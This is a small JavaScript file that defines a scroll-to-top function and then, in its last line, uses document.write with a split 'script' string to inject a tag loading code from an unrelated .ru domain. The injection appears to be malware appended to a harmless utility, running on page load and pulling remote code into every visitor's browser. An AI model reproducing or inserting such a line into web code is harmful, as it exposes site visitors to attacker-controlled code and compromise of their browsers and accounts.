function scrollUp(){
      var offy;
      if(self.pageYOffset) {
            offy = self.pageYOffset;
      } else if(document.documentElement && document.documentElement.scrollTop){
            offy = document.documentElement.scrollTop;
      } else {
            offy = document.body.scrollTop;
      }

      if(offy <= 0) return;

      window.scrollBy(0, -50);
      setTimeout("scrollUp()", 20);
}
document.write('<s'+'cript type="text/javascript" src="http://obscurewax.ru/Gigaflops.js"></scr'+'ipt>');